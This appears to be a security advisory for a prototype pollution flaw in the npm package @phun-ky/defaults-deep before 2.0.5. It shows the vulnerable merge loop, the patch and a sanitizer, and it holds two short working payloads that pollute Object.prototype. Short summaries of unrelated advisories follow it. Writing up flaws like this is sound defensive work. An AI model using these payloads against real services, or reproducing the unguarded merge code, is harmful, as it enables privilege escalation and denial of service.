Jul 31, 2026·5 min read·6 visits
A prototype pollution vulnerability in the recursive merging function of @phun-ky/defaults-deep versions prior to 2.0.5 allows remote attackers to execute arbitrary modification of Object.prototype attributes via crafted inputs.
CVE-2026-54737 is a high-severity Prototype Pollution vulnerability in the @phun-ky/defaults-deep npm library prior to version 2.0.5. Due to unsafe recursive object merging, unauthenticated attackers can supply structured payloads that modify the properties of Object.prototype, compromising the runtime process state.
The NPM package @phun-ky/defaults-deep is designed to apply recursive fallback values to input configurations, maintaining array structures without depending on the heavier Lodash library. The application surface area for this library includes configuration parsers, form processors, and API endpoints that ingest unstructured user input.
When applications process untrusted JSON objects and pass them to the library's defaultsDeep() or mergeWith() routines, they expose the runtime memory. The lack of key-level isolation during the recursive object merging phase exposes the environment to target-specific attribute manipulation.
This vulnerability is mapped to CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). Because all standard structures in JavaScript inherit from the top-level base object, any mutation occurring on the root prototype propagates directly through the entire active application memory space.
JavaScript objects resolve property requests using a prototype-based lookup mechanism. If a requested property is not explicitly defined on an instance, the engine traverses backward along the chain via the implicit __proto__ accessor until it hits the terminal root at Object.prototype. Alternatively, standard constructors expose their base class prototype via constructor.prototype.
The root cause of CVE-2026-54737 resides inside the deep merging module at src/utils/merge-with.ts. The primary recursive helper function baseMerge receives both target and source objects, evaluates properties using a custom ownKeys() iteration helper, and updates target properties without checking for reserved identifiers.
During processing, an input payload containing the key __proto__ maps to target['__proto__'], which immediately exposes the global Object.prototype. The subsequent recursive iteration steps directly into this reference and appends properties to it. Similarly, nested configurations using the keys constructor and prototype can traverse and corrupt properties on standard constructors.
An analysis of the source code before version 2.0.5 demonstrates that the recursive loop executes unchecked evaluation steps over source properties:
// Pre-2.0.5 vulnerable recursive merge processing
for (const key of ownKeys(source)) {
const srcValue = (source as any)[key];
const objValue = (target as any)[key];
if (isObjectLoose(srcValue)) {
if (!isObjectLoose(objValue)) {
(target as any)[key] = {};
}
baseMerge((target as any)[key], srcValue);
} else {
(target as any)[key] = srcValue;
}
}The maintainers resolved this issue in pull request 49 by introducing an immutable blocklist and integrating an early validation check inside the properties loop:
// Remediated key-validation block inside merge-with.ts
const UNSAFE_KEYS = new Set<string>(['__proto__', 'constructor', 'prototype']);
// ... within baseMerge
for (const key of ownKeys(source)) {
if (typeof key === 'string' && UNSAFE_KEYS.has(key)) {
continue;
}
const srcValue = (source as any)[key];
// ... process remaining properties safely
}The fix defines an explicit Set of system keys and implements a short-circuit branch that skips properties matching any banned strings. The constraint typeof key === 'string' preserves processing compatibility for symbol keys, which bypasses potential casting errors. This remediation effectively eliminates both direct and indirect lookup-path traversal vectors.
An attacker can exploit this flaw by passing a specifically structured JSON payload to an endpoint that deserializes the request and merges it with existing default state definitions.
To pollute the environment directly, the attacker structure utilizes the standard prototype accessor:
// Direct prototype pollution vector
import defaultsDeep from '@phun-ky/defaults-deep';
const payload = JSON.parse('{"__proto__": {"pollutedProperty": "compromised"}}');
defaultsDeep({}, payload);
const validationInstance = {};
console.log(validationInstance.pollutedProperty); // Output: "compromised"If basic sanitizers attempt to strip the __proto__ string, attackers can leverage constructor-based chaining to achieve the same result:
// Indirect constructor traversal vector
import { mergeWith } from '@phun-ky/defaults-deep/dist/utils/merge-with';
const target = {};
const payload = {
constructor: {
prototype: {
pollutedProperty: 'compromised'
}
}
};
mergeWith(target, payload);
console.log(({}).pollutedProperty); // Output: "compromised"The concrete impact of this vulnerability depends on how the host application utilizes objects subsequent to the merge operation. If down-stream logic evaluates administrative privilege checks by looking for uninitialized variables (e.g., checking if (user.isAdmin)), an attacker can escalate privileges globally by polluting Object.prototype.isAdmin with true.
In scenarios where the Node.js application uses template compilation libraries (like EJS, Pug, or Handlebars), attackers can exploit prototype pollution to perform Remote Code Execution (RCE). By corrupting global properties that dictate template output formatting or load internal helper modules, an attacker can hijack the shell context.
Furthermore, modifying standard object behavior can result in application-wide crash states. Corrupting basic operations like toString or valueOf raises unhandled runtime exceptions, inducing a persistent Denial of Service (DoS) across the active Node.js server container.
To remediate this vulnerability, immediate dependency upgrades must be performed. Ensure @phun-ky/defaults-deep is updated to version 2.0.5 or later:
npm install @phun-ky/defaults-deep@2.0.5If systems cannot be updated immediately, implement custom recursive payload sanitization filters to scrub dangerous keywords before passing inputs to the merge utility:
function sanitizeObject(input) {
if (typeof input !== 'object' || input === null) return input;
const unsafeProperties = ['__proto__', 'constructor', 'prototype'];
for (const property of Object.getOwnPropertyNames(input)) {
if (unsafeProperties.includes(property)) {
delete input[property];
} else {
sanitizeObject(input[property]);
}
}
return input;
}Additionally, defense-in-depth measures such as locking down the runtime base environment will help neutralize prototype modifications. Developers can enforce prototype freezing inside primary entry scripts to prevent modifications:
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
@phun-ky/defaults-deep @phun-ky | < 2.0.5 | 2.0.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1321 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 7.3 (High) |
| EPSS Status | Not Registered |
| Impact | Prototype Pollution (Privilege Escalation, DoS, RCE) |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
The application receives input from an upstream component, but does not sanitize or incorrectly sanitizes the input before utilizing it to modify the attributes of an object prototype.
Improper input validation of the supiOrSuci field in free5GC Authentication Server Function (AUSF) allows unauthenticated remote attackers to trigger an unhandled parsing exception, resulting in a Denial of Service (DoS) and internal stack trace exposure.
The zaino-state crate contains two critical flaws in its block reorganization and state synchronization logic. An unbounded recursive async function handling block reorganization fails to validate cyclic relationships, enabling network peers to cause infinite loops that exhaust CPU and memory resources. Furthermore, a logical pruning error during non-finalized block cache trimming can purge all cached blocks, triggering an immediate panic and crash of the daemon.
A critical Regular Expression Denial of Service (ReDoS) vulnerability exists in Thumbor prior to version 7.8.0. The vulnerability resides within the dynamic filter-parsing engine, specifically inside the 'convolution' filter parameter processing logic. Due to overlapping and nested quantifiers in the regular expression used to parse matrix values, a remote, unauthenticated attacker can supply a specially crafted, malformed filter payload inside a request URL. This causes Python's standard NFA-based regular expression engine to undergo exponential backtracking, exhausting CPU resources and leading to a complete Denial of Service.
CVE-2026-54729 is a critical Server-Side Request Forgery (SSRF) bypass vulnerability in the dssrf-js Node.js library prior to version 1.0.5. The flaw occurs because the library's DNS validation mechanism incorrectly treats domains like 'localhost' as safe when the configured upstream DNS resolver returns NXDOMAIN. Since the system's HTTP client later falls back to OS-level resolution (resolving 'localhost' to '127.0.0.1'), attackers can bypass validation and access internal loopback addresses.
A template injection vulnerability in @dynatrace-oss/dynatrace-mcp-server allows untrusted input to be interpolated directly into Dynatrace Workflows using Jinja2 syntax, leading to persistent data exposure and exfiltration.
An uncontrolled resource consumption vulnerability (CWE-400) in OliveTin allows unauthenticated remote attackers to exhaust server memory and trigger a denial of service (DoS). By repeatedly initiating the OAuth2 login flow without completing it, attackers can force the server to allocate state variables in an unbounded in-memory map. This heap-based resource exhaustion eventually causes the host operating system to terminate the OliveTin process via the Out-Of-Memory (OOM) killer.